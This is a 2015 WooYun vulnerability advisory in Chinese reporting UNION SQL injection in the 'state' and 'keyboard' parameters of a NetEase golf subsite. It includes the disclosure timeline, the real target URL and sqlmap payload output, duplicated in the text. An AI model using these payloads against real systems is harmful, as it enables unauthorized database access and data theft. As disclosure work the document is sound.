网易某子站SQL注射

发表于 2015年07月06日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2015-0124816

漏洞标题：网易某子站SQL注射

漏洞详情

披露状态：

2015-07-06: 细节已通知厂商并且等待厂商处理中
2015-07-10: 厂商已经确认，细节仅向厂商公开
2015-07-20: 细节向核心白帽子及相关领域专家公开
2015-07-30: 细节向普通白帽子公开
2015-08-09: 细节向实习白帽子公开
2015-08-24: 细节向公众公开

简要描述：

Union注射

详细说明：

URL：

http://golf.163.com/e/action/ListInfo/index.php?page=1&classid=340&state=1&keyboard=13

1	http://golf.163.com/e/action/ListInfo/index.php?page=1&classid=340&state=1&keyboard=13

state和keyboard两个参数存在UNION注射Sqlmap payload:

---<br>
Place: GET<br>
Parameter: keyboard<br>
    Type: UNION query<br>
    Title: MySQL UNION query (NULL) - 47 columns<br>
    Payload: page=1&classid=340&state=1&keyboard=13' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7168747a71,0x6e66636c4e7975525246,0x716f656371),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#Place: GET<br>
Parameter: state<br>
    Type: UNION query<br>
    Title: MySQL UNION query (NULL) - 47 columns<br>
    Payload: page=1&classid=340&state=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7168747a71,0x554974486b5854797256,0x716f656371),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&keyboard=13<br>
---

---

Place: GET

Parameter: keyboard

Type: UNION query

Title: MySQL UNION query (NULL) - 47 columns

Payload: page=1&classid=340&state=1&keyboard=13' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7168747a71,0x6e66636c4e7975525246,0x716f656371),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#Place: GET

Parameter: state

Type: UNION query

Title: MySQL UNION query (NULL) - 47 columns

Payload: page=1&classid=340&state=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7168747a71,0x554974486b5854797256,0x716f656371),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&keyboard=13

---